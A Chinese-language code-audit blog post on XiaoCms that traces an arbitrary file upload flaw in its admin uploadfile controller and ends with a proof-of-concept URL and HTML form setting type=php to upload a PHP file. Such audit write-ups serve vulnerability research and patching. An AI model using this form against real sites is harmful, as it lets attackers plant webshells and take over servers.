登陆 注册

XiaoCms丨代码审计

Lzers 2019-05-10 xiaocms代码审计

源码下载地址:http://www.xiaocms.com/

0x01 入口文件

index.php 中包含了xiaocms.php

XiaoCms丨代码审计

0x02 后台任意文件上传

文件路径:core\library/upload.class.php

upload函数 53行 if判断 !为取反, is_array函数用于检测变量是否是一个数组 ||为或 运算符 empty() 函数用于检查一个变量是否为空,,move_upload_file()函数将上传的文件移动到新位置

XiaoCms丨代码审计

$file_upload这个变量传入了parse_init 我们跟踪一下

XiaoCms丨代码审计

get_file_ext()获取文件扩展名

$this->limit_type通过set_limit_type函数获取,搜索set_limit_type  

在admin/controller/uploadfile.php中发现upload函数

private function upload($fields, $type, $size) {
		$upload   = xiaocms::load_class('upload');
        $ext      = strtolower(substr(strrchr($_FILES[$fields]['name'], '.'), 1));
        if (in_array($ext, array('jpg','jpeg','bmp','png','gif'))) {
            $dir  = 'image';
        } else {
            $dir  = 'file';
        }
        $path    = $this->dir .$dir . '/' . date('Ym') . '/';
		if (!is_dir(XIAOCMS_PATH.$path)) mkdirs(XIAOCMS_PATH.$path);
        $file     = $_FILES[$fields]['name'];
	    $filename = md5(time() . $_FILES[$fields]['name']) . '.' . $ext;
		$filenpath = $path.$filename;
        $result   = $upload->set_limit_size(1024*1024*$size)->set_limit_type($type)->upload($_FILES[$fields],XIAOCMS_PATH.$filenpath);
        if (in_array($ext, array('jpg', 'gif', 'png', 'bmp'))) {
		$this->watermark(XIAOCMS_PATH.$filenpath);
        }
        return array('result'=>$result, 'path'=>  SITE_PATH . $filenpath, 'file'=>$file , 'ext'=>$dir=='image' ? 1 : $ext);
    }


同样在admin/controller/uploadfile.php中发现uploadify_uploadAction函数 

public function uploadify_uploadAction() {
	    $type = $this->get('type');
		$size = (int)$this->get('size');
	    if ($this->post('submit')) {
	        $data = $this->upload('file', explode(',', $type), $size);
            if ($data['result']) echo $data['path'];
	    }
	}

$this->limit_type与$this->limit_size都可以控制了,接下来构造upload.html

http://www.xxx.com/admin/?c=uploadfile&a=uploadify_upload&type=php&size=1000  

<html>
    <body>
    <form action="http://www.xxx.com//admin//index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="hidden" name="submit" value="submit"/>
    <input type="submit" value="submit" />
    </form></body></html>

XiaoCms丨代码审计

XiaoCms丨代码审计

请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.